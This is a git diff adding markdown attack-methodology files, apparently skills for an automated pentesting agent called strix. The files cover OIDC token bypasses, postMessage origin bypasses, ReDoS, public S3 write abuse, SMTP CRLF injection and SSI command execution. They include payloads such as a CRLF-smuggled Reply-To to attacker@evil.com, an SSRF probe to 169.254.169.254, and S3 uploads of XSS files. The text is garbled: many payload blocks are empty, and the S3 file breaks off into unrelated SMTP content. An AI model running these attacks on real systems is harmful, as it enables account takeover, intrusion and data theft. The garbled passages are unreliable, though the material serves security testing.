not validated → CSRF on OAuth/OIDC login +# 1. Attacker initiates auth flow but doesn't complete it +# 2. Captures the ?code=X&state=Y in their callback URL +# 3. Tricks victim into visiting that callback URL +# 4. Victim's browser exchanges attacker's code → victim logged into attacker's account + +# Test: initiate login, get code, inject that code into victim's browser +# state=: try empty state, common values ("abc", "state", "1"), remove it entirely +``` + +### ID Token Audience Bypass + +``` +# id_token contains aud (audience) claim +# If RP doesn't validate aud, any id_token from the same IdP works for any app + +# Attacker registers their own app with same IdP +# Gets id_token from IdP with their app as aud +# Submits to target app → target app should reject (wrong aud) but may not + +# Also: aud as array — some parsers use first/last +{"aud": ["attacker-app", "target-app"]} # Does target app accept this? +``` + +### Issuer (iss) Confusion + +``` +# If multiple IdPs used, check issuer validation +# Target accepts tokens from IdP-A and IdP-B +# Attacker controls IdP-C (e.g., by registering on a shared IdP) +# Crafts token with iss matching target's expected format + +# OpenID Connect provider switcheroo: +# If app allows any OIDC provider, attacker creates their own +# Issues tokens claiming to be victim@target.com +``` + +### Hybrid Flow Token Leakage + +Hybrid flow returns tokens in the URL (fragment or query): + +``` +response_type=code id_token # Hybrid: code + id_token in redirect +response_type=token id_token # Implicit: both tokens in redirect + +# Tokens in URL → in browser history, logs, Referer header +GET /callback#id_token=eyJXXX&access_token=xxx + +# Test: does app use response_type that returns tokens in URL? +# Check: does page load third-party resources (analytics) that receive Referer? +``` + +### PKCE Bypass (Code Interception) + +``` +# PKCE protects authorization code from interception +# Without PKCE, intercepted code usable by attacker + +# Test: initiate flow without code_challenge +# If accepted → PKCE not enforced → code interception possible (mobile apps especially) +``` + +### UserInfo Endpoint Attacks + +``` +# /userinfo with access_token +GET /oauth2/userinfo +Authorization: Bearer ACCESS_TOKEN + +# Test: use another user's access_token (IDOR) +# Test: expired access_token still accepted +# Test: access_token from different scope grants access to sensitive claims +# Test: sub claim manipulation in access_token +``` + +### Discovery Document Manipulation + +``` +# /.well-known/openid-configuration exposes endpoints +# If app fetches this dynamically and doesn't pin: +# SSRF → app fetches attacker-controlled discovery document +# → attacker redirects token endpoint to capture tokens + +# Test: can the OIDC provider URL be user-controlled? +# SSRF via: ?iss=http://169.254.169.254/... +``` + +### Token Substitution + +``` +# App accepts access_token as id_token (or vice versa) +# Access tokens are not always JWTs and may not have iss/aud validation +# Substitute access_token where id_token is expected +``` + +### Scope Elevation via OIDC + +``` +# Request additional scopes that shouldn't be granted +openid email profile offline_access admin:read + +# Test: add undocumented/admin scopes to authorization request +# Check if consent screen shows scope you requested +# Test if token grants those scopes even if consent not properly validated +``` + +## Provider-Specific Attacks + +### Google + +``` +# hd (hosted domain) parameter bypass: +/oauth2/auth?hd=attacker.com vs target app expects hd=targetcorp.com +# If app validates hd on frontend but not when processing id_token → bypass + +# Client email enumeration via oauth +``` + +### Apple Sign In + +``` +# Email relay service — each app gets different email +# app-specific-relay@privaterelay.appleid.com +# User merging: if app merges by email, different apps share account? +``` + +### Auth0 + +``` +# /authorize?connection=bypass +# Test switching connection to bypass MFA or policy +# Universal Login bypass via legacy lock parameters +``` + +## Testing Methodology + +1. **Map OIDC flows** — Which response_types? Code, implicit, hybrid? +2. **Check state validation** — Remove state param, replay state across sessions +3. **Check nonce validation** — Capture and replay id_token in new session +4. **Validate iss and aud** — Submit id_token from your own registered app +5. **Test scope enumeration** — Add undocumented/admin scopes +6. **Test PKCE enforcement** — Initiate flow without code_challenge +7. **Check UserInfo endpoint** — Test with invalid/expired tokens, other users' tokens +8. **Check token leakage** — Does response_type put tokens in URL? +9. **Provider confusion** — Can you switch providers? Is issuer validated strictly? + +## Validation + +1. Demonstrate authentication as a different user using the attack technique +2. Show the specific claim (sub, email, iss, aud) that was manipulated or bypassed +3. For token replay: show same id_token used across multiple sessions +4. Provide the authorization request and token payload before/after manipulation + +## False Positives + +- nonce properly validated on server side before creating session +- aud strictly compared to registered client_id only +- PKCE enforced with server-side code_verifier validation +- state entropy sufficient and validated per-session + +## Impact + +- Authentication bypass → account takeover +- Cross-application token reuse → access to other integrated apps +- Session fixation via CSRF on login +- PII exposure via over-scoped access tokens + +## Pro Tips + +1. OIDC discovery document (`/.well-known/openid-configuration`) is your first stop +2. Decode id_token with jwt.io — check iss, aud, nonce, sub, exp claims +3. `state` bypass in OAuth/OIDC is still commonly found — test every SSO integration +4. Multi-tenant apps often trust iss from any tenant → cross-tenant token abuse +5. Check if app supports multiple OIDC providers and whether iss is strictly pinned per-provider +6. hybrid flow response_type putting tokens in URL is automatic P2/P3 finding +7. Auth0 misconfigurations in multi-application setups are a frequent source of bugs + +## Summary + +OIDC builds identity on OAuth's authorization layer. Each additional component (nonce, iss, aud, state, PKCE) is a potential bypass point. Validate the full token: signature, expiry, issuer, audience, nonce, and session binding. Provider confusion and state bypass are the most commonly missed. diff --git a/strix/skills/vulnerabilities/postmessage_attacks.md b/strix/skills/vulnerabilities/postmessage_attacks.md new file mode 100644 index 00000000..530ce0b0 --- /dev/null +++ b/strix/skills/vulnerabilities/postmessage_attacks.md @@ -0,0 +1,238 @@ +--- +name: postmessage-attacks +description: PostMessage security testing — origin validation bypass, data injection, and cross-frame communication attacks +--- + +# PostMessage Attacks + +`window.postMessage` enables cross-origin communication between frames, windows, and workers. Improper origin validation or insecure message handlers allow attackers to inject messages, steal data from cross-origin frames, or trigger actions on behalf of the victim. + +## Attack Surface + +**Common Uses** +- OAuth popup callbacks (`code`, `token` returned via postMessage) +- Payment provider iframes (Stripe, PayPal, Adyen) +- SSO login flows +- Chat widget integration +- Cross-origin advertising iframes +- Analytics/telemetry cross-frame communication +- Browser extensions communicating with page + +**Vulnerable Patterns** +```javascript +// No origin check (Critical): +window.addEventListener('message', function(e) { + document.location = e.data.url; // Open redirect + eval(e.data.code); // XSS + fetch(e.data.endpoint, {method:'POST', body: e.data.payload}); +}); + +// Weak origin check: +window.addEventListener('message', function(e) { + if (e.origin.includes('legit.com')) { // Bypass: legit.com.attacker.com + executeCommand(e.data); + } +}); + +// Wildcard target origin (data leakage): +iframe.contentWindow.postMessage(sensitiveData, '*'); +``` + +## Key Vulnerabilities + +### Missing Origin Validation + +```javascript +// Vulnerable handler — no origin check: +window.addEventListener('message', event => { + if (event.data.type === 'navigate') { + window.location.href = event.data.url; + } + if (event.data.type === 'exec') { + eval(event.data.code); + } +}); + +// Attack from attacker.com: + +``` + +### Weak Origin Validation Bypasses + +```javascript +// Target checks: e.origin === 'https://legit.com' +// But check is: +if (e.origin.indexOf('legit.com') !== -1) // Bypass: https://legit.com.evil.com +if (e.origin.includes('legit.com')) // Bypass: https://legit.com.evil.com +if (e.origin.match(/legit\.com/)) // Bypass: https://evillegit.com + +// Register: legit.com.attacker.com → sends postMessage → origin check passes +``` + +### Wildcard Target Origin + +```javascript +// Sender uses * — sends sensitive data to any origin: +window.parent.postMessage({token: secretToken, user: userData}, '*'); + +// Attacker frames the target page: + +// Listens for the message with wildcard origin + +``` + +### OAuth Code/Token via PostMessage + +```javascript +// Many OAuth flows return code/token via postMessage to opener: +// opener.postMessage({code: authCode, state: state}, '*'); +// Or with broad origin: 'https://app.com' + +// Attack: +// 1. Open victim's OAuth flow as popup from attacker page +// 2. Listen for postMessage response +// 3. Intercept authorization code/token + +``` + +### Message Injection via Subframe + +```javascript +// If target page embeds an iframe from attacker-controlled subdomain: +// xss.target.com (via subdomain takeover) can postMessage to parent +// Parent trusts messages from *.target.com origin + +// Attack: +// 1. Take over subdomain: xss.target.com +// 2. Host page that postMessages malicious data to parent +// 3. Parent processes message (origin matches *.target.com) +``` + +### JSON Data Injection + +```javascript +// Vulnerable handler processes JSON from postMessage: +window.addEventListener('message', function(e) { + var data = JSON.parse(e.data); + document.getElementById(data.elementId).innerHTML = data.content; +}); + +// Attack: +postMessage('{"elementId":"output","content":""}', '*'); +``` + +## Finding PostMessage Handlers + +```javascript +// Static analysis in JS: +grep -r "addEventListener.*message" *.js +grep -r "postMessage" *.js + +// Dynamic instrumentation in browser console: +// Override addEventListener to log all message handlers: +var origAddEventListener = window.addEventListener; +window.addEventListener = function(type, handler, ...args) { + if (type === 'message') { + console.log('PostMessage handler registered:', handler.toString()); + } + return origAddEventListener.call(this, type, handler, ...args); +}; + +// Burp DOM Invader: +// Enables automatic postMessage probing and canary injection +``` + +## Testing Methodology + +1. **Find message handlers** — Grep JS source for `addEventListener('message'` and `onmessage` +2. **Check origin validation** — Does handler verify `e.origin`? How? +3. **Test origin bypass** — Register lookalike domain if check is weak +4. **Test no-origin case** — Send postMessage from attacker origin, observe behavior +5. **Test data injection** — Send XSS payloads, URLs, commands in message data +6. **Find wildcard senders** — Look for `postMessage(data, '*')` sending sensitive data +7. **Test OAuth flows** — Does code/token return via postMessage? Can it be intercepted? +8. **Test iframe scenarios** — Can target be framed, and does it leak data? + +## Attack Template + +```html + + + + + + + +``` + +## Validation + +1. Demonstrate that a message from attacker origin is processed by the target handler +2. Show XSS execution, data theft, or action taken based on attacker-controlled postMessage +3. For wildcard sender: show the sensitive data received by attacker-controlled listener +4. Provide the specific handler code and bypass demonstration + +## False Positives + +- Strict origin validation: `e.origin === 'https://exact-domain.com'` +- Handler only processes non-sensitive public data +- No useful actions in handler (logging only) +- CSP blocks execution of injected code + +## Impact + +- XSS via eval or innerHTML in postMessage handler +- Open redirect via URL in postMessage +- OAuth token/code theft via wildcard origin +- CSRF-like action execution without traditional CSRF token +- Data exfiltration from cross-origin frames + +## Pro Tips + +1. DOM Invader in Burp automatically tests postMessage handlers with probe messages +2. Look for popup-based OAuth flows — they almost always use postMessage +3. Wildcard target origin `postMessage(data, '*')` is automatic finding if data is sensitive +4. Subdomain takeover + postMessage = trusted origin injection +5. `e.source` is the sending window — check if handler verifies both origin AND source +6. `window.onmessage` is equivalent to `addEventListener('message')` — check both +7. Service workers also use message events — test those too + +## Summary + +PostMessage attacks exploit missing or weak origin validation in cross-frame communication. Find handlers in JavaScript source, verify origin validation strength, and craft messages from attacker origins or lookalike domains. OAuth code theft via postMessage with wildcard target origin is the highest-impact variant. diff --git a/strix/skills/vulnerabilities/regex_dos.md b/strix/skills/vulnerabilities/regex_dos.md new file mode 100644 index 00000000..29e37383 --- /dev/null +++ b/strix/skills/vulnerabilities/regex_dos.md @@ -0,0 +1,190 @@ +--- +name: regex-dos +description: Regular expression denial of service (ReDoS) — detecting catastrophic backtracking in web application regex patterns +--- + +# Regular Expression DoS (ReDoS) + +ReDoS exploits catastrophic backtracking in regular expressions — where certain input patterns cause exponential matching time. A single crafted string can lock a regex engine for seconds or minutes, effectively DoS-ing the application. ReDoS is particularly impactful in Node.js (single-threaded) and any synchronous regex usage in hot paths. + +## How It Works + +Vulnerable regex patterns with nested quantifiers and overlapping character classes cause exponential backtracking: + +```python +# Vulnerable pattern: +import re +pattern = re.compile(r'^(a+)+$') # Catastrophic! +# Test with: "aaaaaaaaaaaaaaaaaaaax" +# The regex tries every combination of how to split the 'a's → exponential + +# Another example: +r'^(a|aa)+$' # Catastrophic +r'^(\w+\s*)+$' # Catastrophic on: "aaaa aaaa aaaa aaaa aaaa aaaa!" +r'^([a-zA-Z]+)*$' # Catastrophic +``` + +## Vulnerable Patterns + +```regex +# Nested quantifiers: +(a+)+ → catastrophic +(a|a?)+ → catastrophic +(.*a){x} → catastrophic for large x + +# Alternation with overlap: +(a|aa)+ +([a-z]|[a-z])+ +(hello|hell)+ + +# Real-world examples: +# Email validation: +^([a-zA-Z0-9])(([\\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$ + +# URL validation: +^(https?:\/\/)?([\da-z\.-]+)\.([a-z\.]{2,6})([\/\w \.-]*)*\/?$ + +# Passport/visa number: +^[a-zA-Z0-9<]{0,10}[a-zA-Z0-9 ]{0,10}$ # Depends on context + +# Date parsing: +^\d{1,2}\/\d{1,2}\/\d{2,4}$ # Usually safe +(\d+\.)+\d+ # Version numbers: safe-ish but can be slow +``` + +## Attack Vectors + +**Form inputs processed by regex validation** +``` +# Email validation (target: email fields) +# Craft: aaaaaaaaaaaaaaaaaaaaaaaaa@ +# Or: test@aaaaaaaaaaaaaaaaaaaaaa. + +# Username validation +# Craft: aaaaaaaaaaaaaaaaaaa! (where ! doesn't match pattern) + +# Phone number +# Password strength meter (heavy regex in real-time validation) + +# Search boxes with regex-based filtering +# URL validation +``` + +**Header values** +``` +User-Agent: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa! +Referer: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/ +Accept-Language: aaaa-aaaa-aaaa-aaaa-aaaa-aaaa-aaaa-aaaa! +``` + +**Node.js Specifics** + +Node.js is single-threaded — one ReDoS attack blocks ALL concurrent requests: +```javascript +// Particularly vulnerable: Express middleware, Joi/Yup validation +// express-validator, input validation libraries +// Moment.js date parsing (historical vulnerabilities) +``` + +## Crafting ReDoS Payloads + +**For `(a+)+` pattern:** +``` +"aaaaaaaaaaaaaaaaaaaax" # 20 a's followed by non-matching char +# Doubling: a, aa, aaaa, aaaaaaaa — find where time increases exponentially +``` + +**For `(\w+\s*)+` pattern:** +``` +"aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa!" +``` + +**General methodology:** +1. Identify the regex pattern (source code, error messages, library docs) +2. Find the nested quantifier or overlapping alternation +3. Craft input matching the repetition group pattern + non-matching character at end +4. Measure response time with increasing input length + +## Detection + +```python +# Test with progressively longer inputs +import requests, time + +payloads = [ + "a" * 10 + "!", + "a" * 20 + "!", + "a" * 30 + "!", + "a" * 40 + "!", +] + +for p in payloads: + start = time.time() + r = requests.post("https://target.com/register", data={"email": p}) + elapsed = time.time() - start + print(f"len={len(p)}, time={elapsed:.2f}s") + +# Exponential time increase = ReDoS confirmed +``` + +## Tools + +```bash +# RXXR2 — static analysis for vulnerable regex +rxxr2 -f pattern.txt + +# Regex101 — test regex performance interactively (web) +# regex101.com → enable debugger → count steps + +# NodeJSScan — scans Node.js for ReDoS +nodesecurity check + +# safe-regex npm package +safe-regex '(a+)+' # Returns false if vulnerable + +# vuln-regex-detector +python3 vuln-regex-detector.py "^(a+)+$" +``` + +## Testing Methodology + +1. **Identify input validation** — Find all form fields with client-side or server-side validation +2. **Source code review** — Look for regex patterns with nested quantifiers +3. **Time-based testing** — Send inputs of increasing length, measure response time +4. **Focus on Node.js** — Highest impact due to single-threaded event loop +5. **Test real-time validation** — Password meters, email validators, search boxes +6. **Check dependencies** — `npm audit` / `pip audit` for regex-vulnerable libraries + +## Validation + +1. Show response times with different input lengths demonstrating exponential growth +2. Calculate the "evil input" length that causes >2 second delay +3. Show that legitimate inputs respond normally (< 100ms) +4. Identify the specific regex and vulnerable pattern structure + +## False Positives + +- Linear or logarithmic time increase (not catastrophic) +- Timeout protection preventing long-running regex +- Server-side caching returning pre-computed results +- Input length limits preventing long payloads + +## Impact + +- DoS of Node.js applications (blocks event loop, affects all users) +- Application-level DoS requiring only HTTP requests (no bandwidth attack) +- In microservices: one vulnerable service can cascade +- Rate limiting may not prevent ReDoS (1 request = DoS) + +## Pro Tips + +1. ReDoS is often accepted as P3/P4 in bug bounty — focus on Node.js for higher impact +2. Email validation regex is the most common ReDoS vector in real apps +3. Check open source libraries used for validation — npm/PyPI have many historical ReDoS CVEs +4. `safe-regex` and `vuln-regex-detector` give you instant answers for code review +5. For Cloudflare/CDN-protected apps, ReDoS may not be exploitable (CDN drops long-running requests) +6. Combine with other findings: if you found a ReDoS, also note the lack of rate limiting + +## Summary + +ReDoS turns regex validation into a DoS vector. Find nested quantifiers and overlapping alternations, craft inputs with matching + non-matching characters, and measure exponential time growth. Node.js single-threaded event loop makes it the highest-impact target for ReDoS in web applications. diff --git a/strix/skills/vulnerabilities/s3_bucket_misconfig.md b/strix/skills/vulnerabilities/s3_bucket_misconfig.md new file mode 100644 index 00000000..e563689c --- /dev/null +++ b/strix/skills/vulnerabilities/s3_bucket_misconfig.md @@ -0,0 +1,229 @@ +--- +name: s3-bucket-misconfig +description: Cloud storage misconfiguration testing — S3, GCS, Azure Blob public access, and privilege escalation +--- + +# Cloud Storage Misconfiguration + +Publicly exposed cloud storage buckets and containers are among the most commonly reported (and rewardable) findings in bug bounty. S3, GCS, and Azure Blob misconfigurations can expose sensitive files, enable data writes that lead to stored XSS or supply chain attacks, and provide a pivot to further cloud compromise. + +## AWS S3 + +### Discovery + +```bash +# Direct access +aws s3 ls s3://target-bucket --no-sign-request + +# Name guessing patterns +target, target-backup, target-dev, target-prod, target-assets, target-static +target-logs, target-data, target-uploads, target-files, target-www +target-YYYY, target-internal, target-cdn, target-images + +# Tools +S3Scanner -bucket target-backup --no-sign-request +awscli: aws s3 ls s3://BUCKET --no-sign-request + +# From web app +# Check JS files for bucket URLs: s3.amazonaws.com/bucket or bucket.s3.amazonaws.com +# Network tab: look for requests to amazonaws.com +# Source maps, error messages, HTML comments + +# Google dork +site:s3.amazonaws.com "target.com" OR "target-backup" OR "targetcorp" +``` + +### Misconfiguration Testing + +```bash +# List bucket (public read) +aws s3 ls s3://target-bucket --no-sign-request + +# Download file +aws s3 cp s3://target-bucket/sensitive.txt /tmp/ --no-sign-request + +# Upload file (public write — critical!) +aws s3 cp /tmp/test.txt s3://target-bucket/test.txt --no-sign-request +# If successful → stored XSS possible, supply chain attack if serving JS files + +# ACL check +aws s3api get-bucket-acl --bucket target-bucket --no-sign-request + +# Policy check +aws s3api get-bucket-policy --bucket target-bucket --no-sign-request + +# Public access block settings +aws s3api get-public-access-block --bucket target-bucket + +# CORS configuration +aws s3api get-bucket-cors --bucket target-bucket --no-sign-request + +# Versioning (old versions of "deleted" files) +aws s3api list-object-versions --bucket target-bucket --no-sign-request +``` + +### Sensitive Files to Look For + +``` +# Credentials +.env, .env.*, config.yml, database.yml, credentials.json, .aws/credentials +# Backups +*.sql, *.dump, *.bak, *.tar.gz, backup.zip +# Source code +*.py, *.js, *.php (not expected in public bucket) +# Private data +*.csv (user exports), *.xls (internal reports) +# Keys +*.pem, *.key, id_rsa, *.p12, *.pfx +# Logs +access.log, error.log, debug.log (may contain tokens/sessions) +``` + +### Impact Escalation + +```bash +# If write access: stored XSS via uploaded HTML/JS +echo '' > xss.html +aws s3 cp xss.html s3://target-assets/xss.html --no-sign-request --content-type text/html +# Serve: https://target-assets.s3.amazonaws.com/xss.html +# If target site loads scripts from this bucket → supply chain attack + +# Check if bucket serves CDN/static assets +# Find: + +# Add X-header for phishing: +Your order\r\nX-Spam-Status: No\r\nX-Priority: 1\r\nFrom: noreply@bank.com +``` + +### Body Injection (XSS in HTML Email) + +```html + + + +Click here to verify +``` + +### Open Relay Test + +```bash +# Test if app will relay email to arbitrary addresses +# Contact form → send to any email: +To: external-victim@any-domain.com ← not the site owner +Subject: Test +Message: Testing relay + +# If email delivered → open relay +# Can be abused for spam campaigns using app's reputation +``` + +## Email Spoofing + +### SPF Bypass + +``` +# If app sends email from user-controlled From: address: +From: admin@target.com ← forged sender + +# SPF only checks envelope sender (MAIL FROM), not header From: +# DMARC alignment requires both to match +# Test: can you set From: to target.com's domain? +``` + +### Reply-To Manipulation + +``` +# Set Reply-To to attacker's address: +# Victim replies → reply goes to attacker, not original sender +Reply-To: attacker@evil.com%0D%0AFrom:noreply@target.com +``` + +## Testing Methodology + +1. **Find email-sending features** — Password reset, contact, invite, notification settings +2. **Inject CRLF in all fields** — Name, email, subject, message → check for CC/BCC delivery +3. **Test comma-separated To** — `victim@x.com,attacker@x.com` in email field +4. **Test body injection** — HTML/XSS in message field +5. **Test From/Reply-To control** — Can you set arbitrary sender? +6. **Test open relay** — Send to non-target email addresses via contact form + +## Validation + +1. Demonstrate that an injected CC/BCC recipient received the email +2. Show the raw email headers proving the injection +3. For spam relay: show email delivered to an address not intended by the application +4. For XSS in email: show the rendered HTML in email client + +## False Positives + +- Input sanitized (CRLF stripped before use in headers) +- Using SMTP library that validates header values +- Injection reflected in body (not headers) — still test for HTML injection +- Email queued but not delivered (test with patient waiting) + +## Impact + +- Spam relay using trusted application domain → domain reputation damage +- CC/BCC injection → email interception, privacy violation +- Phishing via forged sender → credential theft +- XSS in HTML email → cookie/token theft when victim opens email + +## Pro Tips + +1. CRLF injection in email fields is often overlooked in standard web security testing +2. Comma-separated emails in the `To` field are often accepted directly by `mail()` functions +3. Use your own email address as both victim and attacker for safe testing +4. `php mail()` is particularly vulnerable to CRLF injection in the `$to`, `$subject`, and `$headers` parameters +5. Test in staging/dev environments to avoid spamming real users +6. Combine with domain spoofing analysis — if From header is injectable + no DMARC, phishing risk is critical +7. HTML injection in email (without JS execution) is still reportable as phishing vector + +## Summary + +SMTP injection enables spam relay, header forgery, and email interception by inserting CRLF sequences into email-sending functions. Test every user-controlled field that gets incorporated into emails. Comma-separated recipients and CRLF header injection are the most commonly found variants in modern web applications. diff --git a/strix/skills/vulnerabilities/ssi_injection.md b/strix/skills/vulnerabilities/ssi_injection.md new file mode 100644 index 00000000..91c621fb --- /dev/null +++ b/strix/skills/vulnerabilities/ssi_injection.md @@ -0,0 +1,171 @@ +--- +name: ssi-injection +description: Server-Side Includes injection for RCE via Apache/Nginx SSI directives in HTML responses +--- + +# Server-Side Includes (SSI) Injection + +SSI injection allows attackers to inject SSI directives into content that the web server processes before sending to the client. When user input is reflected in SSI-enabled files (`.shtml`, `.stm`, `.shtm`) or when SSI is enabled globally, injected directives can execute commands, read files, and exfiltrate data. + +## Attack Surface + +**Enabled When** +- Apache `mod_include` enabled with `Options +Includes` or `XBitHack` +- Nginx SSI module (`ssi on`) in configuration +- IIS Server Side Includes enabled +- Files with extensions `.shtml`, `.shtm`, `.stm` being served +- CGI/application output processed with SSI (`SSILegacyExprParser`) + +**Injection Points** +- User-controlled content included in SSI-processed files +- Error pages (404, 500) that reflect request data +- User profile fields, comments, forum posts rendered in `.shtml` pages +- HTTP headers (User-Agent, Referer) reflected in SSI pages + +## Directives Reference + +```html + # Current date + # Current file + # Request header + # Print all env vars + # Local file inclusion + # Execute CGI + # Execute OS command + # Execute CGI script + # Set variable + # Conditional + # Configure output format +``` + +## Key Vulnerabilities + +### Command Execution + +```html + + + + + +``` + +### File Inclusion / Directory Traversal + +```html + + + + +``` + +### Environment Variable Disclosure + +```html + + + + + +``` + +### XSS via SSI + +If SSI output is not escaped and returned to client: +```html + +# URL: ?q= +# SSI echoes the raw value → XSS +``` + +### Blind SSI (No Reflection) + +Use OOB techniques: +```html + + +``` + +## Detection + +**Probes** +```html + # Returns current date if SSI enabled + # Returns env vars + # Time-based blind detection +``` + +**Test String Variations** +``` + +<--#exec cmd="id"--> (slight variation for WAF bypass) + +\ +``` + +## Bypass Techniques + +**HTML Entity Encoding** +``` +<!--#exec cmd="id"--> + +``` + +**URL Encoding in Request** +``` +%3C%21--%23exec%20cmd%3D%22id%22--%3E +``` + +**Whitespace Variants** +```html + + +``` + +**Null Byte** +```html + +``` + +## Testing Methodology + +1. **Identify SSI-enabled pages** — Look for `.shtml`, `.shtm` extensions; check Server headers +2. **Test reflection points** — Find any user input that gets reflected in page content +3. **Inject echo directive** — `` — safe, reveals SSI processing +4. **Inject printenv** — `` — dumps environment if SSI enabled +5. **Escalate to exec** — `` for RCE +6. **Blind SSI** — Use curl/nslookup OOB if output not reflected +7. **File inclusion** — `` for sensitive files + +## Validation + +1. Demonstrate `` renders as date (not literal string) +2. Show `` output in response +3. For blind: OAST callback with command output encoded in DNS/HTTP + +## False Positives + +- SSI disabled (directives returned as literal strings) +- Input sanitized before inclusion in SSI-processed file +- File not processed by SSI handler (wrong extension/config) + +## Impact + +- Remote code execution as web server user +- Local file disclosure (configuration files, credentials, source code) +- Environment variable exposure (API keys, database credentials) +- SSRF via `virtual` includes to internal services + +## Pro Tips + +1. `` is lower risk than `cmd` exec — use it first for safer detection +2. Error pages (404/500) are often overlooked injection points for SSI +3. HTTP headers (User-Agent, Referer) reflected in SSI-processed logs are classic vectors +4. CGI scripts called via `virtual` include may have separate injection points +5. Apache's `XBitHack` enables SSI on any world-executable file — check broader config +6. In Docker environments, env vars often contain secrets → `` is high-value + +## Summary + +SSI injection gives attackers the web server's SSI processing as a code execution engine. Any user-controlled content reflected in SSI-processed pages is vulnerable. Test echo and exec directives on every reflection point, particularly error pages and legacy `.shtml` pages. diff --git a/strix/skills/vulnerabilities/tls_ssl_misconfig.md b/strix/skills/vulnerabilities/tls_ssl_misconfig.md new file mode 100644 index 00000000..702f9fa7 --- /dev/null +++ b/strix/skills/vulnerabilities/tls_ssl_misconfig.md @@ -0,0 +1,237 @@ +--- +name: tls-ssl-misconfig +description: TLS/SSL misconfiguration testing — weak ciphers, expired certificates, protocol downgrades, and HSTS bypass +--- + +# TLS/SSL Misconfiguration + +TLS misconfigurations expose encrypted communications to interception, allow protocol downgrade attacks, and enable MITM scenarios. While modern automated tooling has improved defaults, custom configurations, legacy systems, and improper certificate management remain common sources of vulnerabilities. + +## Attack Surface + +**Assessment Targets** +- HTTPS endpoints (web, API, WebSocket wss://) +- Mail servers (SMTP/IMAP/POP3 with STARTTLS) +- VPN endpoints +- Database connections (MySQL/PostgreSQL TLS) +- Internal services with TLS + +## Testing Tools + +```bash +# testssl.sh (most comprehensive) +testssl.sh https://target.com +testssl.sh --full --html --jsonfile result.json https://target.com + +# SSLyze +sslyze --regular target.com:443 + +# Nmap SSL scripts +nmap -sV --script ssl-enum-ciphers,ssl-heartbleed,ssl-poodle -p 443 target.com + +# OpenSSL manual testing +openssl s_client -connect target.com:443 +openssl s_client -connect target.com:443 -tls1 # Test TLS 1.0 +openssl s_client -connect target.com:443 -ssl3 # Test SSLv3 + +# sslscan +sslscan target.com:443 + +# Online tools +# ssllabs.com/ssltest/ +# hardenize.com +``` + +## Key Vulnerabilities + +### Protocol Version Issues + +```bash +# SSLv2 (Critical — completely broken) +openssl s_client -connect target.com:443 -ssl2 + +# SSLv3 (Critical — POODLE CVE-2014-3566) +openssl s_client -connect target.com:443 -ssl3 + +# TLS 1.0 (High — deprecated, BEAST, POODLE-TLS) +openssl s_client -connect target.com:443 -tls1 + +# TLS 1.1 (Medium — deprecated March 2021) +openssl s_client -connect target.com:443 -tls1_1 + +# Acceptable: TLS 1.2, TLS 1.3 +``` + +### Weak Cipher Suites + +```bash +# Test specific ciphers +openssl s_client -connect target.com:443 -cipher RC4-MD5 +openssl s_client -connect target.com:443 -cipher DES-CBC3-SHA +openssl s_client -connect target.com:443 -cipher NULL-MD5 +openssl s_client -connect target.com:443 -cipher EXPORT + +# Dangerous cipher properties: +# NULL ciphers (no encryption) +# Export ciphers (40/56-bit keys — FREAK CVE-2015-0204) +# RC4 (broken stream cipher) +# DES/3DES (64-bit block — Sweet32 CVE-2016-2183) +# Anonymous DH/ECDH (no server authentication) +# CBC mode without proper MAC (BEAST, LUCKY13) +``` + +### Certificate Vulnerabilities + +```bash +# Check certificate details +openssl s_client -connect target.com:443 | openssl x509 -text -noout + +# Expired certificate +openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -noout -dates + +# Self-signed certificate +# Common name mismatch (wrong domain) +# Weak signature algorithm (MD5, SHA1) +openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -noout -sigalg + +# Certificate chain issues +# Incomplete chain (missing intermediates) +# Root CA not trusted + +# Wildcard abuse +# *.target.com covers all subdomains — subdomain takeover = certificate mismatch +``` + +### Known Attacks + +```bash +# Heartbleed (CVE-2014-0160) — OpenSSL memory leak +nmap --script ssl-heartbleed -p 443 target.com +testssl.sh --heartbleed target.com + +# POODLE (CVE-2014-3566) — SSLv3 padding oracle +testssl.sh --poodle target.com + +# BEAST (CVE-2011-3389) — TLS 1.0 CBC +# Mitigated by modern browsers, but server config matters + +# CRIME (CVE-2012-4929) — TLS compression +testssl.sh --crime target.com +openssl s_client -connect target.com:443 | grep Compression + +# BREACH (CVE-2013-3587) — HTTP compression (not TLS-level) +curl -H "Accept-Encoding: gzip" -I https://target.com + +# ROBOT (CVE-2017-13099) — RSA PKCS#1 v1.5 oracle +testssl.sh --robot target.com + +# LUCKY13 — Timing attack on CBC +# Mitigated in modern TLS stacks + +# FREAK (CVE-2015-0204) — Export cipher downgrade +testssl.sh --freak target.com + +# Logjam (CVE-2015-4000) — DHE downgrade to export +testssl.sh --logjam target.com +openssl s_client -connect target.com:443 -cipher DHE-RSA-DES-CBC-SHA +``` + +### HSTS Issues + +```bash +# Missing HSTS +curl -I https://target.com | grep -i strict + +# Short max-age +Strict-Transport-Security: max-age=300 # Easily expired + +# No includeSubDomains +Strict-Transport-Security: max-age=31536000 # Subdomains still vulnerable + +# Not in preload list +# https://hstspreload.org/?domain=target.com + +# HTTP accessible (HSTS doesn't help on first visit without preload) +curl http://target.com # Should redirect to HTTPS, not serve content +``` + +### Mixed Content + +``` +# Page served over HTTPS but resources loaded over HTTP: +#